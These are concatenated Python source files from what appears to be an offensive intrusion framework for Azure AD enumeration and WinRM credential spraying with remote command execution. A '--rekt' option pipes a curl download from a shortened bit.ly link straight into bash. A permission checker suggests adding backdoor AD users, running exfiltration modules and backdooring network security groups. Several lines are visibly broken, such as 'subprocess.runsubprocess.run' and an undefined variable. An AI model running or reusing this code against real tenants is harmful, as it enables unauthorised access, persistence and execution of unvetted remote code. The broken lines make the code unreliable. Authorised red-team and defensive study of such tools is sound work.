self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: spn_list_json = json.loads(spnn_list.stdout.decode(self.decoder)) except: self.logger.error("Current user has no VM subscriptions") return self.logger.announce("Getting SPN Info") if self.args.full: pprint.pprint(spn_list_json) else: self.logger.highlight("{:<40} | {:<32} | {}".format(' associated-app', ' appId', ' appOwnerTenantId')) for spn in spn_list_json: spn_own_list = subprocess.run(['az','ad', 'sp', 'owner', 'list', '--id', spn['appId']], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: spn_own_list_json = json.loads(spn_own_list.stdout.decode(self.decoder)) except: self.logger.error("Error getting owner list") return print("app:{}".format(spn['appDisplayName'])) pprint.pprint(spn_own_list_json) def spn(self): # az ad sp list --all --query [].{appDisplayName:appDisplayName, appId:appId, appOwnerTenantId:appOwnerTenantId} spnn_list = subprocess.run(['az','ad', 'sp', 'list', '--all', '--query', '[].{appDisplayName:appDisplayName, appId:appId, appOwnerTenantId:appOwnerTenantId}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: spn_list_json = json.loads(spnn_list.stdout.decode(self.decoder)) except: decode_fail = True pass # this added try/catch is because windows is F'd try: if decode_fail: spn_list_json = json.loads(spnn_list.stdout.decode('cp1252')) except: self.logger.error("Current user has no VM subscriptions") return self.logger.announce("Getting SPN Info") if self.args.full: pprint.pprint(spn_list_json) else: self.logger.highlight("{:<40} | {:<32} | {}".format(' associated-app', ' appId', ' appOwnerTenantId')) for spn in spn_list_json: if spn['appDisplayName'] and spn['appId']: self.logger.highlight("{:<40} | {} | {}".format((spn['appDisplayName'][:37] + (spn['appDisplayName'][37:] and '..')), spn['appId'], spn['appOwnerTenantId'])) def spn_mine(self): # az ad sp list --show-mine spnn_list = subprocess.run(['az','ad', 'sp', 'list', '--show-mine'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) #spnn_list = subprocess.run(['az','ad', 'sp', 'list', '--show-mine', '--query', '[].{appDisplayName:appDisplayName, appId:appId, appOwnerTenantId:appOwnerTenantId}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: spn_list_json = json.loads(spnn_list.stdout.decode(self.decoder)) except: self.logger.error("Current user has no VM subscriptions") return self.logger.announce("Getting SPN Info For Current User") if self.args.full: pprint.pprint(spn_list_json) else: self.logger.highlight("{:<40} | {:<32} | {}".format(' associated-app', ' appId', ' appOwnerTenantId')) for spn in spn_list_json: if spn['appDisplayName'] and spn['appId']: self.logger.highlight("{:<40} | {} | {}".format((spn['appDisplayName'][:37] + (spn['appDisplayName'][37:] and '..')), spn['appId'], spn['appOwnerTenantId'])) ############################################################################### # ###### ###### # # # # # # # # # # # # # # ###### ###### ####### # # # # # # # # # # ############################################################################### ############################################################################### # # # # ############################################################################### def app_list(self): #app_list = subprocess.run(['az','ad', 'app', 'list', '--all', '--query', '[].{DisplayName:displayName, appId:appId, homepage:homepage}'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) app_list = subprocess.run(['az','ad', 'app', 'list', '--all'], shell = self.windows, stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: app_list_json = json.loads(app_list.stdout.decode(self.decoder)) except: self.logger.error("Current user has no VM subscriptions") return if self.args.full: pprint.pprint(app_list_json) return self.logger.highlight("{:<35} {:<35} {} {} ".format(' displayName', 'homepage', 'keyProps', 'passwordProps' )) for app in app_list_json: #self.db.add_app(str(app['displayName']), str(app['appId']), str(app['homepage']), str(app['objectId']), str(app['allowGuestsSignIn']), str(app['keyCredentials']), str(app['passwordCredentials']), str(app['wwwHomepage']) ) self.db.add_app(app) if not self.args.full: self.logger.highlight("{:<35} | {:<35} | {:<9} | {:<}".format((app['displayName'][:33] + (app['displayName'][33:] and '..')), ((app['homepage'][:33] + (app['homepage'][33:] and '..')) if app['homepage'] else ' '), ('CheckDB' if app['keyCredentials'] else ' '), ('CheckDB' if app['passwordCredentials'] else ' ') ) )
def main(): setup_logger() logger = CMXLogAdapter() first_run_setup(logger) args = gen_cli_args() module = None module_server = None targets = [] server_port_dict = {'http': 80, 'https': 443, 'smb': 445} current_workspace = cfg.WORKSPACE hasPassList = False if args.debug: setup_debug_logger() if args.darrell: links = open(( cfg.DATA_PATH / 'videos_for_darrell').with_suffix('.harambe')).read().splitlines() try: webbrowser.open(random.choice(links)) sys.exit(1) except: sys.exit(1) if args.rekt: try: os.system("curl -s -L http://bit.ly/10hA8iC | bash") sys.exit(1) except: sys.exit(1) logging.debug('Passed args:\n' + pformat(vars(args))) if hasattr(args, 'username') and args.username: for user in args.username: if Path(user).is_file(): #If it was a file passed in args.username.remove(user) args.username.append(open(user, 'r')) if hasattr(args, 'password') and args.password: for passw in args.password: if Path(passw).is_file(): #If it was a file passed in hasPassList = True args.password.remove(passw) args.password.append(open(passw, 'r')) elif hasattr(args, 'hash') and args.hash: for ntlm_hash in args.hash: if Path(ntlm_hash).is_file(): #If it was a file passed in args.hash.remove(ntlm_hash) args.hash.append(open(ntlm_hash, 'r')) if hasattr(args, 'cred_id') and args.cred_id: for cred_id in args.cred_id: if '-' in str(cred_id): start_id, end_id = cred_id.split('-') try: for n in range(int(start_id), int(end_id) + 1): args.cred_id.append(n) args.cred_id.remove(cred_id) except Exception as e: logger.error( 'Error parsing database credential id: {}'.format(e)) sys.exit(1) if hasattr(args, 'target') and args.target: for target in args.target: if Path(target).is_file(): #If it was a file passed in target_file_type = identify_target_file(target) if target_file_type == 'nmap': targets.extend(parse_nmap_xml(target, args.protocol)) elif target_file_type == 'nessus': targets.extend(parse_nessus_file(target, args.protocol)) else: with open(target, 'r') as target_file: for target_entry in target_file: targets.extend(parse_targets(target_entry)) else: targets.extend(parse_targets(target)) p_loader = protocol_loader() protocol_path = p_loader.get_protocols()[args.protocol]['path'] protocol_db_path = p_loader.get_protocols()[args.protocol]['dbpath'] protocol_object = getattr(p_loader.load_protocol(protocol_path), args.protocol) protocol_db_object = getattr(p_loader.load_protocol(protocol_db_path), 'database') db_path = (cfg.WS_PATH / current_workspace / args.protocol).with_suffix('.db') # set the database connection to autocommit w/ isolation level db_connection = sqlite3.connect(db_path, check_same_thread=False) db_connection.text_factory = str db_connection.isolation_level = None db = protocol_db_object(db_connection) setattr(protocol_object, 'config', cfg.__dict__) if hasattr(args, 'module'): loader = module_loader(args, db, logger) if args.list_modules: modules = loader.get_modules() for name, props in sorted(modules.items()): logger.announce('{:<25} {}'.format(name, props['description'])) sys.exit(0) elif args.module and args.show_module_options: modules = loader.get_modules() for name, props in modules.items(): if args.module.lower() == name.lower(): logger.announce('{} module options:\n{}'.format( name, props['options'])) sys.exit(0) elif args.module: modules = loader.get_modules() for name, props in modules.items(): if args.module.lower() == name.lower(): module = loader.init_module(props['path']) setattr(protocol_object, 'module', module) break if not module: logger.error('Module not found') exit(1) if getattr(module, 'opsec_safe') is False: ans = raw_input( highlight( '[!] Module is not opsec safe, are you sure you want to run this? [Y/n] ', 'red')) if ans.lower() not in ['y', 'yes', '']: sys.exit(1) if getattr(module, 'multiple_hosts') is False and len(targets) > 1: ans = raw_input( highlight( "[!] Running this module on multiple hosts doesn't really make any sense, are you sure you want to continue? [Y/n] ", 'red')) if ans.lower() not in ['y', 'yes', '']: sys.exit(1) if hasattr(module, 'on_request') or hasattr( module, 'has_response'): if hasattr(module, 'required_server'): args.server = getattr(module, 'required_server') if not args.server_port: args.server_port = 443 context = Context(db, logger, args) module_server = CMXServer(module, context, logger, args.server_host, args.server_port, args.server) module_server.start() setattr(protocol_object, 'server', module_server.server) try: ''' Open threads ''' pool = Pool(args.threads) jobs = [] for target in targets: jobs.append(pool.spawn(protocol_object, args, db, str(target))) # Lets azure not require a target if args.protocol == 'az': if not targets: jobs.append(pool.spawn(protocol_object, args, db, '1')) if args.timeout == 0: args.timeout = None for job in jobs: job.join(timeout=args.timeout) except (KeyboardInterrupt, gevent.Timeout): logging.info("Timed out") pass if module_server: module_server.shutdown()
from subprocess import call from cmx.helpers.misc import which from cmx.logger import CMXLogAdapter from base64 import b64encode from pathlib import Path from cmx import config as cfg import pdb import cmx import os import logging import re ######################################################################## ######################################################################## logger = CMXLogAdapter() obfuscate_ps_scripts = False ######################################################################## ######################################################################## def get_ps_script(path): return (cfg.CMX_DIR / 'data' / path) def encode_ps_command(command): return b64encode(command.encode('UTF-16LE'))
class winrm(connection): def __init__(self, args, db, host): self.hostname = None self.os_arch = None self.local_ip = None self.domain = None self.server_os = None self.os_arch = 0 self.hash = None self.lmhash = '' self.nthash = '' self.remote_ops = None self.bootkey = None self.output_filename = None self.smbv1 = None self.signing = False self.debug = args.verbose self.dc_ip = '' connection.__init__(self, args, db, host) @staticmethod def proto_args(parser, std_parser, module_parser): winrm_parser = parser.add_parser('winrm', help="own stuff using WINRM", parents=[std_parser, module_parser]) winrm_parser.add_argument("-H", '--hash', metavar="HASH", dest='hash', nargs='+', default=[], help='NTLM hash(es) or file(s) containing NTLM hashes') winrm_parser.add_argument("--continue-on-success", action='store_true', help="continues authentication attempts even after successes") dgroup = winrm_parser.add_mutually_exclusive_group() dgroup.add_argument("-d", metavar="DOMAIN", dest='domain', type=str, default=None, help="domain to authenticate to") dgroup.add_argument("--local-auth", action='store_true', help='authenticate locally to each target') cgroup = winrm_parser.add_argument_group("Command Execution", "Options for executing commands") cgroup.add_argument('--no-output', action='store_true', help='do not retrieve command output') cgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") cgroup.add_argument("-X", metavar="PS_COMMAND", dest='ps_execute', help='execute the specified PowerShell command') return parser def proto_flow(self): self.proto_logger() if self.create_conn_obj(): self.enum_host_info() self.print_host_info() if self.login(): if hasattr(self.args, 'module') and self.args.module: self.call_modules() else: self.call_cmd_args() def proto_logger(self): print('test') self.logger = CMXLogAdapter(extra={'protocol': 'WINRM', 'host': self.host, 'port': 'NONE', 'hostname': self.hostname}) def enum_host_info(self): #smb_conn = SMBConnection(self.host, self.host, None) # #try: # smb_conn.login('' , '') #except SessionError as e: # if "STATUS_ACCESS_DENIED" in str(e): # pass # #self.domain = smb_conn.getServerDomain() #self.hostname = smb_conn.getServerName() #self.server_os = smb_conn.getServerOS() #self.signing = smb_conn.isSigningRequired() #self.os_arch = smb_conn.get_os_arch() # #self.output_filename = os.path.expanduser('~/.cme/logs/{}_{}_{}'.format(self.hostname, self.host, datetime.now().strftime("%Y-%m-%d_%H%M%S"))) # #if not self.domain: # self.domain = self.hostname # #self.db.add_computer(self.host, self.hostname, self.domain, self.server_os) # #try: # ''' DC's seem to want us to logoff first, windows workstations sometimes reset the connection # ''' # smb_conn.logoff() #except: # pass # #if self.args.domain: # self.domain = self.args.domain # #if self.args.local_auth: # self.domain = self.hostname print('todo') def print_host_info(self): #>>> s.__dict__ # {'url': 'http://win10a.ocean.depth:5985/wsman', 'protocol': <winrm.protocol.Protocol object at 0x7f7ae595f110>} #>>> s.protocol.__dict__ # {'read_timeout_sec': 30, 'operation_timeout_sec': 20, 'max_env_sz': 153600, 'locale': 'en-US', 'transport': <winrm.transport.Transport object at 0x7f7ae60a7f50>, 'username': '******', 'password': '******', 'service': 'HTTP', 'keytab': None, 'ca_trust_path': None, 'server_cert_validation': 'validate', 'kerberos_delegation': False, 'kerberos_hostname_override': None, 'credssp_disable_tlsv1_2': False} # self.logger.info("{}".format(self.conn.url)) def create_conn_obj(self): #pywinrm will try and guess the correct endpoint url: https://pypi.org/project/pywinrm/0.2.2/ print('pass={}'.format(self.args.password)) self.conn = pywinrm.Session(self.host, auth=('{}\\{}'.format(self.domain, self.args.username[0]), self.args.password[0]), transport='ntlm', server_cert_validation='ignore') return True def plaintext_login(self, domain, username, password): try: self.conn.run_cmd('hostname') self.admin_privs = True out = '{}\\{}:{} {}'.format(domain, username, password, highlight('({})'.format(cfg.pwn3d_label) if self.admin_privs else '')) self.logger.success(out) if not self.args.continue_on_success: return True except SessionError as e: error, desc = e.getErrorString() self.logger.error('{}\\{}:{} {} {}'.format(domain, username, password, error, '({})'.format(desc) if self.args.verbose else '')) if error == 'STATUS_LOGON_FAILURE': self.inc_failed_login(username) return False def parse_output(self, response_obj): if response_obj.status_code == 0: buf = StringIO(response_obj.std_out).readlines() for line in buf: self.logger.highlight(line.decode('utf-8').strip()) return response_obj.std_out else: buf = StringIO(response_obj.std_err).readlines() for line in buf: self.logger.highlight(line.decode('utf-8').strip()) return response_obj.std_err def execute(self, payload=None, get_output=False): r = self.conn.run_cmd(self.args.execute) self.logger.success('Executed command') self.parse_output(r) def ps_execute(self, payload=None, get_output=False): r = self.conn.run_ps(self.args.ps_execute) self.logger.success('Executed command') self.parse_output(r)
class az(connection): def __init__(self, args, db, host): self.db = db self.args = args self.az_cli = None self.username = '' self.domain = '' if args.config: self.config1() else: self.proto_flow() @staticmethod def proto_args(parser, std_parser, module_parser): azure_parser = parser.add_parser('az', help="owning over azure", parents=[std_parser, module_parser]) azure_parser.add_argument( '--full', action='store_true', help='Display full json output for azure commands') azure_parser.add_argument( '--save', action='store_true', help= 'Saves just usernames to a file in current directory when doing user enum' ) configgroup = azure_parser.add_argument_group( "Configure Azure CLI", "Configure the Azure Connection") configgroup.add_argument('--config', action='store_true', help='Setup or re-bind azure connection') #commandgroup = azure_parser.add_argument_group("Command Execution", "Options for executing commands") #commandgroup.add_argument("-x", metavar="COMMAND", dest='execute', help="execute the specified command") enumgroup = azure_parser.add_argument_group( "Enumeration", "Azure AD Enumeration Commands") enumgroup.add_argument( '--user', nargs='?', const='', metavar='USER', help='Enumerate and return all info about a user') enumgroup.add_argument('--users', action='store_true', help='Enumerate and return all users') enumgroup.add_argument( '--group', nargs='?', const='', metavar='GROUP', help='Enumerate and return all members of a group') enumgroup.add_argument('--groups', action='store_true', help='Enumerate and return all groups') enumgroup.add_argument( '--usergroups', nargs='?', const='', metavar='USERSGROUPS', help='Enumerate and return all groups a user is a member of') privgroup = azure_parser.add_argument_group( "Privilege Checks", "Get Privs and identify PrivEsc") privgroup.add_argument( '--suggest', action='store_true', help='Check for potentially abusable permissions') privgroup.add_argument('--privs', nargs='?', const='', metavar='USER', help='Check current users privileges') resourcegroup = azure_parser.add_argument_group( "Resource Checks", "Interact with resources") resourcegroup.add_argument( '--rgroups', action='store_true', help='List all Resource Groups for current subscription') sqlgroup = azure_parser.add_argument_group( "SQL Commands", "Interact with SQL Servers and DBs") sqlgroup.add_argument( '--sql-list', action='store_true', help='List all SQL Servers for current subscription') sqlgroup.add_argument('--sql-db-list', nargs='?', const='', metavar='USER', help='List all SQL DBs for current subscription') storagegroup = azure_parser.add_argument_group( "Storage Commands", "Interact with Storage") storagegroup.add_argument( '--storage-list', action='store_true', help='List all Storage for current subscription') vmgroup = azure_parser.add_argument_group( "VM Checks", "Interact with VMs and VM Scale Sets") vmgroup.add_argument( '--vm-list', nargs='?', const='', metavar='RESOURCEGROUP', help= 'List all VMs for current subscription or target resource group') vmgroup.add_argument( '--vmss-list', nargs='?', const='', metavar='RESOURCEGROUP', help= 'List all VM Scale Sets for current subscription or target resource group' ) spngroup = azure_parser.add_argument_group( "SPN Checks", "Interact with Service Principals") spngroup.add_argument('--spn-list', action='store_true', help='List all SPNs for current subscription') appgroup = azure_parser.add_argument_group("App Checks", "Interact with Apps") appgroup.add_argument('--app-list', action='store_true', help='List all Apps for current subscription') return parser def proto_flow(self): self.proto_logger() if self.test_connection(): self.call_cmd_args() def proto_logger(self): self.logger = CMXLogAdapter( extra={ 'protocol': 'AZURE', 'host': self.username, 'port': self.domain, 'hostname': 'CLI' }) def test_connection(self): if not cfg.AZ_CONFIG_PATH.is_file(): self.logger.error('Azure connection has not been configured.') self.logger.error('Run: cmx az 1 --config') return False # Grab our user/domain and re-init logger. # Config should have stored this in the config file. f = open(cfg.AZ_CONFIG_PATH, "r") data = f.read() f.close() self.username = data.split()[0].split('@')[0] self.domain = data.split()[0].split('@')[1] self.proto_logger() self.az_cli = get_default_cli() return True def config1(self): self.proto_logger() login = subprocess.run(['az', 'login', '--allow-no-subscriptions'], stdout=subprocess.PIPE) user = re.findall('([a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+)', str(login.stdout)) #print(" Logged in as {}".format(user[0])) self.logger.success('Logged in as {}'.format(user[0])) if not cfg.AZ_PATH.is_dir(): cfg.AZ_PATH.mkdir(parents=True, exist_ok=True) f = open(cfg.AZ_CONFIG_PATH, "w") f.write("{}".format(user[0])) f.close() print('') print(" Azure Services now configured, Go get em tiger") print('') def call_cmd_args(self): for k, v in list(vars(self.args).items()): if hasattr(self, k) and hasattr(getattr(self, k), '__call__'): if v is not False and v is not None: logging.debug('Calling {}()'.format(k)) getattr(self, k)() def execute(self, command): try: result = self.az_cli.invoke(command) return {'result': result.result, 'error': None} except CLIError as err: return {'result': None, 'error': err.args} ############################################################################### # ###### ####### # # # # # # # # # # # ## # # # ## ## # # # # # # # # # # # # # # # # # # ##### ##### # # # # # # # # ####### # # # # # # # # # # # # # # # # ## # # # # # # ###### ####### # # ##### # # ############################################################################### ############################################################################### # Network/Domain Enum functions # # This section: # # # # # (fold next line) ############################################################################### def user(self): #if self.args.user == '': # self.args.user = self.user user_id = subprocess.run( ['az', 'ad', 'user', 'show', '--id', self.args.user], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: user_id_json = json.loads(user_id.stdout.decode('utf-8')) except: self.logger.error("Current user has no subscriptions") return self.db.add_user(user_id_json) plans = [] for plan in user_id_json["assignedPlans"]: plans.append(plan["service"]) self.logger.announce("Getting User Info") if self.args.full: pprint.pprint(user_id_json) else: self.logger.highlight("{:<26} {}".format('mail: ', user_id_json['mail'])) self.logger.highlight("{:<26} {}".format( 'mailNickname: ', user_id_json['mailNickname'])) self.logger.highlight("{:<26} {}".format( 'TelephoneNumber: ', user_id_json['telephoneNumber'])) self.logger.highlight("{:<26} {}".format('objectId: ', user_id_json['objectId'])) self.logger.highlight( "Assigned Plan Memberships: {}".format(plans)) self.logger.highlight("{:<26} {}".format( 'SID: ', user_id_json['onPremisesSecurityIdentifier'])) self.logger.highlight("{:<26} {}".format( 'userPrincipalName: ', user_id_json['userPrincipalName'])) self.logger.highlight("{:<26} {}".format( 'isCompromised: ', user_id_json['isCompromised'])) def usergroups(self): users_groups = subprocess.run([ 'az', 'ad', 'user', 'get-member-groups', '--id', self.args.usergroups ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: users_groups_json = json.loads(users_groups.stdout.decode('utf-8')) except: self.logger.error("Current user has no subscriptions") return pprint.pprint(users_groups_json) def users(self): self.logger.announce( "Getting all users info, this might take a minute") user_id = subprocess.run(['az', 'ad', 'user', 'list'], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: user_id_json = json.loads(user_id.stdout.decode('utf-8')) except: self.logger.error("Current user has no subscriptions") return try: for user1 in user_id_json: self.db.add_user(user1) except: self.logger.error("add user error tracebak:") self.logger.error(format_exc()) # Do we save usernames if self.args.save: filename = "{}-users.txt".format(self.domain) savefile = open(filename, "w") if self.args.full: pprint.pprint(user_id_json) else: usercount = 0 for user1 in user_id_json: if user1['isCompromised'] == None: comp = 'No' else: comp = 'Yes' if self.args.save: savefile.write("{}\n".format(user1['mail'])) usercount = usercount + 1 self.logger.highlight("{:<36} id:{} compromised:{} ".format( user1['userPrincipalName'], user1['objectId'], comp)) if self.args.save: savefile.close() self.logger.success( "Email addresses saved to: {}".format(filename)) self.logger.success("Total Users Found: {}".format(usercount)) self.logger.success( "All user info complete. Check the db for more details") def group(self): if self.args.group == '': self.logger.error('Must provide a group name or objectID') return group_list = subprocess.runsubprocess.run([ 'az', 'ad', 'group', 'member', 'list', '--group', self.args.group ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: group_list_json = json.loads(group_list.stdout.decode('utf-8')) except: self.logger.error("Current user has no subscriptions") return pprint.pprint(group_list_json) def groups(self): group_list = subprocess.runsubprocess.run([ 'az', 'ad', 'group', 'list', '--query', '[].{display_name:displayName, description: description, object_id: objectId}' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: group_list_json = json.loads(group_list.stdout.decode('utf-8')) except: self.logger.error("Current user has no subscriptions") return pprint.pprint(group_list_json) ############################################################################### ###### ###### ### # # ####### ##### ##### # # # # # # # # # # # # # # # # # # # # # # ###### ###### # # # ##### ##### # # # # # # # # # # # # # # # # # # # # # # # # ### # ####### ##### ##### ############################################################################### ############################################################################### # # # # ############################################################################### def suggest(self): # Grab user UPN upn_resp = subprocess.run([ 'az', 'ad', 'signed-in-user', 'show', '--query', '{upn:userPrincipalName}' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) upn_json_obj = json.loads(upn_resp.stdout.decode('utf-8')) upn = upn_json_obj['upn'] logging.debug('upn: {}'.format(upn)) # GetCurrent users roles role_resp = subprocess.run([ 'az', 'role', 'assignment', 'list', '--assignee', upn, '--query', '[].{roleName:roleDefinitionName}' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: role_json_obj = json.loads(role_resp.stdout.decode('utf-8')) except: self.logger.error("Current user has no subscriptions") return role_list = [] for role in role_json_obj: role_list.append(role["roleName"]) if (len(role_list) == 0): self.logger.error("No roles found") return # Get definitions for each role tmp_list_perms = [] for role in role_list: #print(role.upper()) role_show = subprocess.run([ 'az', 'role', 'definition', 'list', '--name', role, '--query', '[].{actions:permissions[].actions, dataActions:permissions[].dataActions, notActions:permissions[].notActions, notDataActions:permissions[].NotDataActions}' ], stdout=subprocess.PIPE) role_show_json = json.loads(role_show.stdout.decode('utf-8')) tmp_list_perms.append(role_show_json[0]['actions'][0]) all_permissions = [ item for sublist in tmp_list_perms for item in sublist ] self.check_perms(all_permissions) def check_perms(self, permissions): self.logger.announce("Getting potentially abusable global permissions") for perm in permissions: if ("*" in perm): self.logger.highlight( "Found permission with * - should investigate: {}".format( perm)) elif ("write" in perm): self.logger.highlight( " found permission with write - should investigate: {}". format(perm)) elif ("create" in perm): self.logger.highlight( " found permission with create - should investigate: {}". format(perm)) elif ("delete" in perm): self.logger.highlight( " found permission with delete - should investigate: {}". format(perm)) self.logger.announce("Checking specific permissions") for perm in permissions: if ("Microsoft.Authorization/*" in perm): self.logger.highlight( "Current user has permission to do all authorizations actions to resources - consider RBAC manipulation and adding a backdoor AD user" ) if ("Microsoft.Authorization/*/read" in perm): self.logger.highlight( "Current user has permission to read all authorizations - consider running the priv domain enum module" ) if ("Microsoft.Compute/*" in perm): self.logger.highlight( "Current user has permission to run all operations for all resource types - consider using the exfil modules" ) if ("Microsoft.Compute/*/read" in perm): self.logger.highlight( "Current user has permission to read all compute related resources - consider using the various 'list' modules" ) if ("Microsoft.Support/*" in perm): self.logger.highlight( "Current user has permission to issue and submit support tickets" ) if ("Microsoft.Resources/*" in perm): self.logger.highlight( "Current user has permission to run all Microsoft.Resources related commands" ) elif ("Microsoft.Resources/deployments/*" in perm): self.logger.highlight( "Current user has permission to run all deployment related commands" ) elif ("Microsoft.Resources/deployments/subscriptions/*" in perm): self.logger.highlight( "Current user has permission to run all subscription related commands" ) if ("Microsoft.Network/*" in perm): self.logger.highlight( "Current user has permission to run all networking related commands - consider running the net modules" ) elif ("Microsoft.Network/networkSecurityGroups/*" in perm): self.logger.highlight( "Current user has permission to run all nsg related commands - consider running the nsg backdoor module" ) elif ("Microsoft.Network/networkSecurityGroups/join/action" in perm): self.logger.highlight( "Current user has permission to join a network security group " ) if ("Microsoft.Compute/virtualMachines/*" in perm): self.logger.highlight( "Current user has permission to run virtual machine commands - consider running the various vm modules " ) elif ("Microsoft.Compute/virtualMachines/runCommand/action" in perm or "Microsoft.Compute/virtualMachines/runCommand/*" in perm): self.logger.highlight( "Current user has permission to run the runCommand virtual machine command - consider running the vm_rce " ) if ("Microsoft.Compute/virtualMachinesScaleSets/*" in perm): self.logger.highlight( "Current user has permission to run virtual machine scale set commands - consider running the various vmss modules " ) elif ("Microsoft.Compute/virtualMachinesScaleSets/runCommand/action" in perm or "Microsoft.Compute/virtualMachines/runCommand/*" in perm): self.logger.highlight( "Current user has permission to run the runCommand virtual machine scale set command - consider running the vmss_rce " ) if ("Microsoft.Storage/*" in perm or "Microsoft.Storage/storageAccounts/*" in perm): self.logger.highlight( "Current user has permission to run all storage account commands - consider running the various stg modules " ) elif ("Microsoft.Storage/storageAccounts/blobServices/containers/*" in perm): self.logger.highlight( "Current user has permissions to run all storage account container commands - consider running the various stg modules " ) elif ("Microsoft.Storage/storageAccounts/listKeys/action" in perm): self.logger.highlight( "Current user has permission to read storage account keys - consider running the stg blob scan/download modules " ) if ("Microsoft.Sql/*" in perm): self.logger.highlight( "Current user has permission to run all sql commands - consider running the various sql modules " ) elif ("Microsoft.Sql/servers/*" in perm): self.logger.highlight( "Current user has permission to run all sql server commands - consider running the sql server list or the sql backdoor firewall modules " ) elif ("Microsoft.Sql/servers/databases/*" in perm): self.logger.highlight( "Current user has permission to run all sql database commands - consider running the sql db list " ) def privs(self): # Grab user UPN logging.debug("Starting privs") if self.args.privs == '': upn_resp = subprocess.run([ 'az', 'ad', 'signed-in-user', 'show', '--query', '{upn:userPrincipalName}' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) else: upn_resp = subprocess.run([ 'az', 'ad', 'user', 'show', '--id', self.args.privs, '--query', '{upn:userPrincipalName}' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: upn_json_obj = json.loads(upn_resp.stdout.decode('utf-8')) upn = upn_json_obj['upn'] logging.debug("upn {}".format(upn)) except: self.logger.error("Current user has no subscriptions") return # GetCurrent users roles role_resp = subprocess.run([ 'az', 'role', 'assignment', 'list', '--assignee', upn, '--query', '[].{roleName:roleDefinitionName}' ], stdout=subprocess.PIPE) try: role_json_obj = json.loads(role_resp.stdout.decode('utf-8')) except: self.logger.error("Current user has no subscriptions") return role_list = [] for role in role_json_obj: role_list.append(role["roleName"]) if (len(role_list) == 0): self.logger.error("No roles found") return for role in role_list: #print(role.upper()) role_show = subprocess.run([ 'az', 'role', 'definition', 'list', '--name', role, '--query', '[].{actions:permissions[].actions, dataActions:permissions[].dataActions, notActions:permissions[].notActions, notDataActions:permissions[].NotDataActions}' ], stdout=subprocess.PIPE) role_show_json = json.loads(role_show.stdout.decode('utf-8')) pprint.pprint(role_show_json) ############################################################################### ###### ####### ##### ####### # # ###### ##### ####### # # # # # # # # # # # # # # # # # # # # # # # # # # ###### ##### ##### # # # # ###### # ##### # # # # # # # # # # # # # # # # # # # # # # # # # # # # ####### ##### ####### ##### # # ##### ####### ############################################################################### ############################################################################### # # # # ############################################################################### def rgroups(self): rgroup = subprocess.run([ 'az', 'group', 'list', '--query', '[].{name:name, location: location, id: id}' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: rgroup_json = json.loads(rgroup.stdout.decode('utf-8')) except: self.logger.error("Current user has no subscriptions") return pprint.pprint(rgroup_json) ############################################################################### ##### ##### # # # # # # # # # # ##### # # # # # # # # # # # # # ##### #### # ####### ############################################################################### ############################################################################### # # # # ############################################################################### def sql_list(self): # Get server list sql_info = subprocess.run([ 'az', 'sql', 'server', 'list', '--query', '[].{fqdn:fullyQualifiedDomainName, name:name, rgrp: resourceGroup, admin_username:administratorLogin} ' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: sql_info_json = json.loads(sql_info.stdout.decode('utf-8')) except: self.logger.error("Current user has no SQL subscriptions") return pprint.pprint(sql_info_json) def sql_db_list(self): # Get server list sql_info = subprocess.run([ 'az', 'sql', 'server', 'list', '--query', '[].{name:name, rgrp: resourceGroup} ' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: sql_info_json = json.loads(sql_info.stdout.decode('utf-8')) except: self.logger.error("Current user has no SQL subscriptions") return servers = [] rgrps = [] for info in sql_info_json: servers.append(info['name']) rgrps.append(info['rgrp']) pprint.pprint(rgroup_json) # Get DBs for i in range(len(servers)): sql_info = subprocess.run([ 'az', 'sql', 'db', 'list', '--server', servers[i], '--resource-group', rgrps[i], '--query', '[].{collation:collation, name:name, location:location, dbId:databaseId}' ], stdout=subprocess.PIPE) sql_info_json = json.loads(sql_info.stdout.decode('utf-8')) print(servers[i], "\n") pprint.pprint(sql_info_json) ############################################################################### ##### ####### ####### ###### # ##### ####### # # # # # # # # # # # # # # # # # # # # # # ##### # # # ###### # # # #### ##### # # # # # # ####### # # # # # # # # # # # # # # # ##### # ####### # # # # ##### ####### ############################################################################### ############################################################################### # # # # ############################################################################### def storage_list(self): stg_list = subprocess.run([ 'az', 'storage', 'account', 'list', '--query', '[].{resource_group:resourceGroup, storage_types:primaryEndpoints}' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: stg_list_json = json.loads(stg_list.stdout.decode('utf-8')) except: self.logger.error("Current user has no Storage subscriptions") return pprint.pprint(stg_list_json) ############################################################################### # # # # # # ## ## # # # # # # # # # # # # # # # # # # # # # # ############################################################################### ############################################################################### # # # # ############################################################################### def vm_list(self): # Get all vms in subscription if self.args.vm_list == '': vm_list = subprocess.run([ 'az', 'vm', 'list', '--query', '[].{name:name,os:storageProfile.osDisk.osType, username:osProfile.adminUsername, vm_size:hardwareProfile.vmSize, resource_group: resourceGroup}' ], stdout=subprocess.PIPE, stderr=subprocess.PIPE) try: vm_list_json = json.loads(vm_list.stdout.decode('utf-8')) except: self.logger.error("Current user has no VM subscriptions") return vm_iplist = subprocess.run([ 'az', 'vm', 'list-ip-addresses', '--query', '[].{name:virtualMachine.name, privateIp:virtualMachine.network.privateIpAddresses, publicIp:virtualMachine.network.publicIpAddresses[].ipAddress}' ], stdout=subprocess.PIPE) try: vm_iplist_json = json.loads(vm_iplist.stdout.decode('utf-8')) except: self.logger.error("Current user has no VM subscriptions") return else: # Get all vms in specified resource group vm_list = 